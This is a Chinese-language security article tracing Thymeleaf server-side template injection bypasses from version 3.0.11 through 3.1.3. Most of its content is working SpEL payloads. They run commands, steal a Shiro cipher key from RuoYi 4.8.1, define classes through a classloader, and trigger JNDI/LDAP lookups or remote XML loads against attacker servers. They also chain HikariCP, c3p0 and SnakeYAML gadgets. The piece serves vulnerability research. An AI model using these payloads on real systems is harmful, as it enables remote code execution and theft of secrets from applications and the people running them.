本文将系统梳理Thymeleaf(特别是与Spring集成时)的服务器端模板注入(SSTI)漏洞及其在多个版本中的绕过历史,分析其安全机制的演变过程。
1. Thymeleaf 3.0.11 及之前:无限制执行
在早期版本中,Thymeleaf 模板表达式引擎的沙箱限制较弱,允许执行任意SpEL表达式。例如,可以无限制地使用以下Payload执行系统命令:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.
重要提示:Thymeleaf 核心库的部分安全检测逻辑位于 thymeleaf-spring5 模块中。因此,修复此类漏洞时,需要同时升级 thymeleaf 和 thymeleaf-spring5 两个依赖至相同版本。
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
2. Thymeleaf 3.0.12:初步检测与绕过
版本 3.0.12 引入了检测函数 org.thymeleaf.spring5.util.SpringStandardExpressionUtils.containsSpELInstantiationOrStatic(),主要限制两点:
- 不允许出现
new 关键词(检测时做了反转处理),但可以使用 New 进行大小写绕过。

T 后面不能直接接 (,但可以通过添加空格绕过。

组合利用后的Payload如下:
__${#response.addHeader("cmd",New java.util.Scanner(T (java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next())}__::.
3. Thymeleaf 3.0.14:检测升级与新绕过点
此版本升级了检测逻辑到 containsSpELInstantiationOrStaticOrParam(),并增加了对 param 的检测(同样可通过大小写绕过)。

对 T 的检测(isPreviousStaticMarker())更加严格,基本封死了利用 T 的可能。

关键绕过:在 containsExpression() 函数中,对 $*#@~ 后紧跟 { 的情况进行了检查。但如果 $*#@~ 后面是一个非空格字符,即使再跟 { 也会被允许。这使得 $${ 成为新的绕过关键。

新的利用Payload:
__|$${#response.addHeader("cmd","test")}|__::.
__|$${#response.addHeader("cmd",New java.util.Scanner(New ProcessBuilder("cmd","/c","whoami").start().getInputStream()).next())}|__::.
4. Thymeleaf 3.0.15:引入黑名单
thymeleaf-spring5 的检测逻辑未变,但在 thymeleaf 核心库的 org.thymeleaf.util.ExpressionUtils.isTypeAllowed() 中引入了黑名单机制。

绕过思路转为使用黑名单之外的类。最简单的无危害PoC:
__|$${#response.addHeader("cmd",New java.lang.String("123"))}|__::.
通过反射调用进行利用:
__|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('whoami').getInputStream())"))}|__::.
在实际应用如若依(Ruoyi)4.8.1框架中,可利用其获取Shiro的密钥:
__|$${#response.addHeader("cmd",#response.getClass().forName("org.springframework.util.Base64Utils").encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.
也可以利用Spring的ClassLoader(注意长度限制):
__|$${"".getClass().forName("org.springframework.cglib.core.ReflectUtils").defineClass("test.CmdCalc","".getClass().forName("org.springframework.util.Base64Utils").decodeFromString("yv66XXXX"),New javax.management.loading.MLet(New java.net.URL[0],#response.getClass().getClassLoader())).newInstance()}|__::.
5. Thymeleaf 3.1.0:禁用默认对象与黑白名单
此版本新增安全措施,禁用了默认的 request/session/servletContext/response 表达式对象。

但可以通过 #ctx 上下文对象间接获取 response,此方法一直到 3.1.3 版本都有效:
__|$${#ctx.getExchange().getNativeResponseObject().addHeader("cmd","test")}|__::.
黑名单机制也变为黑白结合的模式(org.thymeleaf.util.ExpressionUtils)。

分析发现,白名单检查通过则直接放行,否则会进一步检查黑名单(BlockedPackage)。而 getClass() 方法会被直接放行,不在黑名单中的类也会被放行,因此主要依赖仍是黑名单。


利用黑名单外的Spring表达式类进行绕过:
__|$${"".getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("New javax.naming.InitialContext().lookup('ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho')").getValue()}|__::.
__|$${New org.springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:5667/1.xml")}|__::.
6. Thymeleaf 3.1.1 & 3.1.2:扩展黑名单
3.1.1 版本继续增加了黑名单,对现有利用链影响不大。

3.1.2 版本再次扩展黑名单,封堵了之前利用的Spring相关类。

由于 New 和 forName() 仍然可用,利用思路转向寻找第三方依赖中存在风险且未被Thymeleaf黑名单收录的类,这些类常被用于Java反序列化漏洞的利用链中:
__|$${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho")}|__::.
__|$${New com.mchange.v2.c3p0.WrapperConnectionPoolDataSource().setUserOverridesAsString("HexAsciiSerializedMap:ACED0000000000;")}|__::.
__|$${New org.yaml.snakeyaml.Yaml().load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho', autoCommit: true}")}|__::.
7. Thymeleaf 3.1.3:限制Class方法
此版本对 Class 对象的方法增加了白名单限制,只允许调用 getName、isAssignableFrom 等少数方法,因此 forName() 被禁用。

但 New 关键字依然可用,因此 3.1.2 版本中基于 New 的第三方依赖利用链依然有效。
总结与展望
纵观Thymeleaf SSTI漏洞的攻防历史,主要围绕以下几个核心点展开:
- 语法绕过:使用
$${ 绕过了对 ${ 的封锁。
- 关键词绕过:使用
New 绕过了对 new 的检测,T 和 forName 相继被封锁。
- 类库黑名单绕过:不断寻找并利用黑名单之外的、具有危险功能的Java类库。
未来的修复方向可能集中在:加强对 new 的大小写校验、彻底封锁 $${ 语法、以及更精细化的类/方法沙箱控制。对于攻击者而言,即使上述三点被修复,仍需探究在SSTI上下文下执行多行代码的可能性(例如利用分号),这或许将成为新的研究突破口。